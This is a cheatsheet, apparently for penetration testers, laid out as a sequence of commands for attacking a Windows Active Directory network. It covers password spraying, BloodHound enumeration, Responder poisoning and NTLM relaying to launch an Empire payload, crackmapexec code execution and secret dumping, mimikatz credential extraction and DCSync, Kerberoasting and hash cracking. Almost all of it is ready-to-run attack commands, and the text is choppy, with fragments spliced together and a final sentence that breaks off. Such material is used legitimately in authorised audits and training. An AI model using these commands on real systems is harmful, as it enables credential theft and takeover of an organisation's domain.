title: Internal Network Audit categories: [cheatsheets]
Get domain password policy
net accounts /domain
use PowerView to list domain users with more information
Get accountname & descriptions (can store interesting information)
Get-DomainUser | Select-Object -Property samaccountname,description
Get Accounts sorted by pwdlastset
Get-DomainUser -Property samaccountname,pwdLastSet | where {$_.samaccountname -ne 'DefaultAccount' -AND $_.samaccountname -ne 'Guest'} | sort pwdLastSet | ft -wrap -autosize
Important: note how many password trys are possible before locking an account
kerbrute passwordspray -d <domain> users.txt Summer2019!
pip install bloodhound)can be executed from domain-joined and non-domain-joined computers.
With the python ingestor
# Domain-joined host, working DNS
bloodhound-python -u user@DOMAIN -p PASSWORD
# Non-Domain-Joined Hosts / DNS troubles
bloodhound-python -u user@DOMAIN -p PASSWORD -d DOMAIN -dc DC1.DOMAIN.COM -gc DC1.DOMAIN.COM
SharpHound
# get all information from the DC
SharpHound.exe -c All
# connects to any computer in the AD for 24h to get session information
SharpHound.exe -c SessionLoop --MaxLoopTime 24h
Services and sort by "Log On As"NTLM relaying (see below)
sh> responder.py -c config -I eth0
what triggers LLMNR, NetBios and WPAD broadcasts?
lsadump::dcsync /domain:<domain> /all /csv)-p <password> can be replaced with -H <hash> for PtH Attacks(pwn3d) once a user has write access to C$ or ADMIN$Enumerating SMB shares and saving ips where SMB signing is disabled
sh> cme smb <cidr> --gen-relay-list targets.txt
SMB 192.168.1.101 445 DC2012A [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC2012A) (domain:OCEAN) (signing:True) (SMBv1:True)
SMB 192.168.1.102 445 DC2012B [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC2012B) (domain:EARTH) (signing:True) (SMBv1:True)
SMB 192.168.1.111 445 SERVER1 [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:SERVER1) (domain:PACIFIC) (signing:False) (SMBv1:True)
SMB 192.168.1.117 445 WIN10DESK1 [*] WIN10DESK1 x64 (name:WIN10DESK1) (domain:OCEAN) (signing:False) (SMBv1:True)
Enumerating all shares
sh> cme smb ips.txt -u <user> -p <pass> --shares
Code Execution (write access to C$ or ADMIN$ is needed)
sh> cme smb ips.txt -u <user> -p <pass> -[xX] 'whoami'
Dumping Secrets (write access to C$ or ADMIN$ is needed)
sh> cme smb ips.txt -u <user> -p <pass> --[sam/lsa]
Dropping logonpasswords
mimikatz "privilege::debug" "sekurlsa::logonpasswords"
DCSync (requires GenericAll permissions)
lsadump::dcsync /domain:<domain> /all /csv
There are two common approaches:
1) From an Domain-Joined Windows host:
Get all possible SPN's with PowerViews Get-DomainUser function:
PS> Get-DomainUser -SPN
For all possible SPN's request tickets with powershell and extract them from memory with mimikatz:
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.medin.local"
PS C:\> klist
<tickets>
Extract with Mimikatz:
mimikatz # kerberos::list /export
2) Using a custom implementation of the kerberos protocol
This can be done with impackets GetUserSPNs.py tool:
sh> GetUserSPNs.py -request -dc-ip <domain-controller-ip> <domain/user>
3) PowerViews Invoke-Kerberoast
This modules does everything automated and outputs the hashes fitting for john the ripper and hashcat:
PS> Invoke-Kerberoast
The hashes can then be cracked with john the ripper, hashcat, or tgsrepcrack.
If the hashes were extracted with mimikatz, the '*.kirbi' files can be converted to john/hashcat compatible hashes with the tool kirbi2john.
With john:
sh> john hashes.txt
With hashcat
sh> hashcat -m 13100 -a 0 hashes.txt /path/to/wordlist.txt
If user-accounts in the AD dont have the DONT_REQ_OREAUTH set, aka dont require kerberos preauthentication,
a piece of encrypted information can be requested that can be used to offline bruteforce the password of this user account.
To find such user accounts, the following PowerView command can be used:
PS> Get-DomainUser -PreauthNotRequired
Creating a list of potential targets with crackmapexec
sh> cme smb computers.txt --gen-relay-list targets.txt
Start responder (with the HTTP & SMB server turned off):
sh> python Responder.py -I <interface> -r -d -w
Start the NTLM relaying with ntlmrelayx.py using the targets from above:
sh> ntlmrelayx.py -tf targets.txt
This can also be used to execute an custom executable (e.g. empire launcher):
sh> ntlmrelayx.py -tf targets.txt -c <insert your Empire Powershell launcher here>
Rule:
Then save the first, lastname of the user accounts and full name.. use sed also to capitalize the first letter and use those.. then run with -a 6 with ur wordlist.txt adding custom-charset1=!@$#% and brute wit>